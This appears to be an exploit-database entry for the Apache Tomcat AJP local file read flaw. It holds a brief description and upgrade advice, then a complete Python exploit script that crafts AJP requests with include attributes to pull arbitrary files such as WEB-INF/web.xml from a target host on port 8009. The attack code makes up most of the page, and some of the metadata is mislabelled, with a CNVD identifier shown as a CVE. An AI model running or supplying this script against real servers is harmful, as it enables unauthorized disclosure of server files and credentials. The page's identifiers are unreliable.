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Suggest Exploit
vendor:
Tomcat
by:
ydhcui
4.3
CVSS
MEDIUM
Local File Inclusion
22
CWE
Product Name: Tomcat
Affected Version From: All versions prior to 9.0.30, 8.5.50, and 7.0.99
Affected Version To: 9.0.30, 8.5.50, and 7.0.99
Patch Exists: YES
Related CWE: CVE-2020-10487
CPE: a:apache:tomcat
Metasploit: N/A
Other Scripts: N/A
Platforms Tested: All
2020

Tomcat-Ajp lfi

A vulnerability in Apache Tomcat's AJP protocol allows an attacker to read arbitrary files on the server. This is due to the lack of authentication and authorization checks in the AJP protocol. The vulnerability is present in all versions of Tomcat prior to 9.0.30, 8.5.50, and 7.0.99.

Mitigation:

Upgrade to Apache Tomcat 9.0.30, 8.5.50, or 7.0.99 or later.
Source

Exploit-DB raw data:

#!/usr/bin/env python
#CNVD-2020-10487  Tomcat-Ajp lfi
#by ydhcui
import struct

# Some references:
# https://tomcat.apache.org/connectors-doc/ajp/ajpv13a.html
def pack_string(s):
	if s is None:
		return struct.pack(">h", -1)
	l = len(s)
	return struct.pack(">H%dsb" % l, l, s.encode('utf8'), 0)
def unpack(stream, fmt):
	size = struct.calcsize(fmt)
	buf = stream.read(size)
	return struct.unpack(fmt, buf)
def unpack_string(stream):
	size, = unpack(stream, ">h")
	if size == -1: # null string
		return None
	res, = unpack(stream, "%ds" % size)
	stream.read(1) # \0
	return res
class NotFoundException(Exception):
	pass
class AjpBodyRequest(object):
	# server == web server, container == servlet
	SERVER_TO_CONTAINER, CONTAINER_TO_SERVER = range(2)
	MAX_REQUEST_LENGTH = 8186
	def __init__(self, data_stream, data_len, data_direction=None):
		self.data_stream = data_stream
		self.data_len = data_len
		self.data_direction = data_direction
	def serialize(self):
		data = self.data_stream.read(AjpBodyRequest.MAX_REQUEST_LENGTH)
		if len(data) == 0:
			return struct.pack(">bbH", 0x12, 0x34, 0x00)
		else:
			res = struct.pack(">H", len(data))
			res += data
		if self.data_direction == AjpBodyRequest.SERVER_TO_CONTAINER:
			header = struct.pack(">bbH", 0x12, 0x34, len(res))
		else:
			header = struct.pack(">bbH", 0x41, 0x42, len(res))
		return header + res
	def send_and_receive(self, socket, stream):
		while True:
			data = self.serialize()
			socket.send(data)
			r = AjpResponse.receive(stream)
			while r.prefix_code != AjpResponse.GET_BODY_CHUNK and r.prefix_code != AjpResponse.SEND_HEADERS:
				r = AjpResponse.receive(stream)

			if r.prefix_code == AjpResponse.SEND_HEADERS or len(data) == 4:
				break
class AjpForwardRequest(object):
	_, OPTIONS, GET, HEAD, POST, PUT, DELETE, TRACE, PROPFIND, PROPPATCH, MKCOL, COPY, MOVE, LOCK, UNLOCK, ACL, REPORT, VERSION_CONTROL, CHECKIN, CHECKOUT, UNCHECKOUT, SEARCH, MKWORKSPACE, UPDATE, LABEL, MERGE, BASELINE_CONTROL, MKACTIVITY = range(28)
	REQUEST_METHODS = {'GET': GET, 'POST': POST, 'HEAD': HEAD, 'OPTIONS': OPTIONS, 'PUT': PUT, 'DELETE': DELETE, 'TRACE': TRACE}
	# server == web server, container == servlet
	SERVER_TO_CONTAINER, CONTAINER_TO_SERVER = range(2)
	COMMON_HEADERS = ["SC_REQ_ACCEPT",
		"SC_REQ_ACCEPT_CHARSET", "SC_REQ_ACCEPT_ENCODING", "SC_REQ_ACCEPT_LANGUAGE", "SC_REQ_AUTHORIZATION",
		"SC_REQ_CONNECTION", "SC_REQ_CONTENT_TYPE", "SC_REQ_CONTENT_LENGTH", "SC_REQ_COOKIE", "SC_REQ_COOKIE2",
		"SC_REQ_HOST", "SC_REQ_PRAGMA", "SC_REQ_REFERER", "SC_REQ_USER_AGENT"
	]
	ATTRIBUTES = ["context", "servlet_path", "remote_user", "auth_type", "query_string", "route", "ssl_cert", "ssl_cipher", "ssl_session", "req_attribute", "ssl_key_size", "secret", "stored_method"]
	def __init__(self, data_direction=None):
		self.prefix_code = 0x02
		self.method = None
		self.protocol = None
		self.req_uri = None
		self.remote_addr = None
		self.remote_host = None
		self.server_name = None
		self.server_port = None
		self.is_ssl = None
		self.num_headers = None
		self.request_headers = None
		self.attributes = None
		self.data_direction = data_direction
	def pack_headers(self):
		self.num_headers = len(self.request_headers)
		res = ""
		res = struct.pack(">h", self.num_headers)
		for h_name in self.request_headers:
			if h_name.startswith("SC_REQ"):
				code = AjpForwardRequest.COMMON_HEADERS.index(h_name) + 1
				res += struct.pack("BB", 0xA0, code)
			else:
				res += pack_string(h_name)

			res += pack_string(self.request_headers[h_name])
		return res

	def pack_attributes(self):
		res = b""
		for attr in self.attributes:
			a_name = attr['name']
			code = AjpForwardRequest.ATTRIBUTES.index(a_name) + 1
			res += struct.pack("b", code)
			if a_name == "req_attribute":
				aa_name, a_value = attr['value']
				res += pack_string(aa_name)
				res += pack_string(a_value)
			else:
				res += pack_string(attr['value'])
		res += struct.pack("B", 0xFF)
		return res
	def serialize(self):
		res = ""
		res = struct.pack("bb", self.prefix_code, self.method)
		res += pack_string(self.protocol)
		res += pack_string(self.req_uri)
		res += pack_string(self.remote_addr)
		res += pack_string(self.remote_host)
		res += pack_string(self.server_name)
		res += struct.pack(">h", self.server_port)
		res += struct.pack("?", self.is_ssl)
		res += self.pack_headers()
		res += self.pack_attributes()
		if self.data_direction == AjpForwardRequest.SERVER_TO_CONTAINER:
			header = struct.pack(">bbh", 0x12, 0x34, len(res))
		else:
			header = struct.pack(">bbh", 0x41, 0x42, len(res))
		return header + res
	def parse(self, raw_packet):
		stream = StringIO(raw_packet)
		self.magic1, self.magic2, data_len = unpack(stream, "bbH")
		self.prefix_code, self.method = unpack(stream, "bb")
		self.protocol = unpack_string(stream)
		self.req_uri = unpack_string(stream)
		self.remote_addr = unpack_string(stream)
		self.remote_host = unpack_string(stream)
		self.server_name = unpack_string(stream)
		self.server_port = unpack(stream, ">h")
		self.is_ssl = unpack(stream, "?")
		self.num_headers, = unpack(stream, ">H")
		self.request_headers = {}
		for i in range(self.num_headers):
			code, = unpack(stream, ">H")
			if code > 0xA000:
				h_name = AjpForwardRequest.COMMON_HEADERS[code - 0xA001]
			else:
				h_name = unpack(stream, "%ds" % code)
				stream.read(1) # \0
			h_value = unpack_string(stream)
			self.request_headers[h_name] = h_value
	def send_and_receive(self, socket, stream, save_cookies=False):
		res = []
		i = socket.sendall(self.serialize())
		if self.method == AjpForwardRequest.POST:
			return res

		r = AjpResponse.receive(stream)
		assert r.prefix_code == AjpResponse.SEND_HEADERS
		res.append(r)
		if save_cookies and 'Set-Cookie' in r.response_headers:
			self.headers['SC_REQ_COOKIE'] = r.response_headers['Set-Cookie']

		# read body chunks and end response packets
		while True:
			r = AjpResponse.receive(stream)
			res.append(r)
			if r.prefix_code == AjpResponse.END_RESPONSE:
				break
			elif r.prefix_code == AjpResponse.SEND_BODY_CHUNK:
				continue
			else:
				raise NotImplementedError
				break

		return res

class AjpResponse(object):
	_,_,_,SEND_BODY_CHUNK, SEND_HEADERS, END_RESPONSE, GET_BODY_CHUNK = range(7)
	COMMON_SEND_HEADERS = [
			"Content-Type", "Content-Language", "Content-Length", "Date", "Last-Modified",
			"Location", "Set-Cookie", "Set-Cookie2", "Servlet-Engine", "Status", "WWW-Authenticate"
			]
	def parse(self, stream):
		# read headers
		self.magic, self.data_length, self.prefix_code = unpack(stream, ">HHb")

		if self.prefix_code == AjpResponse.SEND_HEADERS:
			self.parse_send_headers(stream)
		elif self.prefix_code == AjpResponse.SEND_BODY_CHUNK:
			self.parse_send_body_chunk(stream)
		elif self.prefix_code == AjpResponse.END_RESPONSE:
			self.parse_end_response(stream)
		elif self.prefix_code == AjpResponse.GET_BODY_CHUNK:
			self.parse_get_body_chunk(stream)
		else:
			raise NotImplementedError

	def parse_send_headers(self, stream):
		self.http_status_code, = unpack(stream, ">H")
		self.http_status_msg = unpack_string(stream)
		self.num_headers, = unpack(stream, ">H")
		self.response_headers = {}
		for i in range(self.num_headers):
			code, = unpack(stream, ">H")
			if code <= 0xA000: # custom header
				h_name, = unpack(stream, "%ds" % code)
				stream.read(1) # \0
				h_value = unpack_string(stream)
			else:
				h_name = AjpResponse.COMMON_SEND_HEADERS[code-0xA001]
				h_value = unpack_string(stream)
			self.response_headers[h_name] = h_value

	def parse_send_body_chunk(self, stream):
		self.data_length, = unpack(stream, ">H")
		self.data = stream.read(self.data_length+1)

	def parse_end_response(self, stream):
		self.reuse, = unpack(stream, "b")

	def parse_get_body_chunk(self, stream):
		rlen, = unpack(stream, ">H")
		return rlen

	@staticmethod
	def receive(stream):
		r = AjpResponse()
		r.parse(stream)
		return r

import socket

def prepare_ajp_forward_request(target_host, req_uri, method=AjpForwardRequest.GET):
	fr = AjpForwardRequest(AjpForwardRequest.SERVER_TO_CONTAINER)
	fr.method = method
	fr.protocol = "HTTP/1.1"
	fr.req_uri = req_uri
	fr.remote_addr = target_host
	fr.remote_host = None
	fr.server_name = target_host
	fr.server_port = 80
	fr.request_headers = {
		'SC_REQ_ACCEPT': 'text/html',
		'SC_REQ_CONNECTION': 'keep-alive',
		'SC_REQ_CONTENT_LENGTH': '0',
		'SC_REQ_HOST': target_host,
		'SC_REQ_USER_AGENT': 'Mozilla',
		'Accept-Encoding': 'gzip, deflate, sdch',
		'Accept-Language': 'en-US,en;q=0.5',
		'Upgrade-Insecure-Requests': '1',
		'Cache-Control': 'max-age=0'
	}
	fr.is_ssl = False
	fr.attributes = []
	return fr

class Tomcat(object):
	def __init__(self, target_host, target_port):
		self.target_host = target_host
		self.target_port = target_port

		self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
		self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
		self.socket.connect((target_host, target_port))
		self.stream = self.socket.makefile("rb", bufsize=0)

	def perform_request(self, req_uri, headers={}, method='GET', user=None, password=None, attributes=[]):
		self.req_uri = req_uri
		self.forward_request = prepare_ajp_forward_request(self.target_host, self.req_uri, method=AjpForwardRequest.REQUEST_METHODS.get(method))
		print("Getting resource at ajp13://%s:%d%s" % (self.target_host, self.target_port, req_uri))
		if user is not None and password is not None:
			self.forward_request.request_headers['SC_REQ_AUTHORIZATION'] = "Basic " + ("%s:%s" % (user, password)).encode('base64').replace('\n', '')
		for h in headers:
			self.forward_request.request_headers[h] = headers[h]
		for a in attributes:
			self.forward_request.attributes.append(a)
		responses = self.forward_request.send_and_receive(self.socket, self.stream)
		if len(responses) == 0:
			return None, None
		snd_hdrs_res = responses[0]
		data_res = responses[1:-1]
		if len(data_res) == 0:
			print("No data in response. Headers:%s\n" % snd_hdrs_res.response_headers)
		return snd_hdrs_res, data_res

'''
javax.servlet.include.request_uri
javax.servlet.include.path_info
javax.servlet.include.servlet_path
'''

import argparse
parser = argparse.ArgumentParser()
parser.add_argument("target", type=str, help="Hostname or IP to attack")
parser.add_argument('-p', '--port', type=int, default=8009, help="AJP port to attack (default is 8009)")
parser.add_argument("-f", '--file', type=str, default='WEB-INF/web.xml', help="file path :(WEB-INF/web.xml)")
args = parser.parse_args()
t = Tomcat(args.target, args.port)
_,data = t.perform_request('/asdf',attributes=[
    {'name':'req_attribute','value':['javax.servlet.include.request_uri','/']},
    {'name':'req_attribute','value':['javax.servlet.include.path_info',args.file]},
    {'name':'req_attribute','value':['javax.servlet.include.servlet_path','/']},
    ])
print('----------------------------')
print("".join([d.data for d in data]))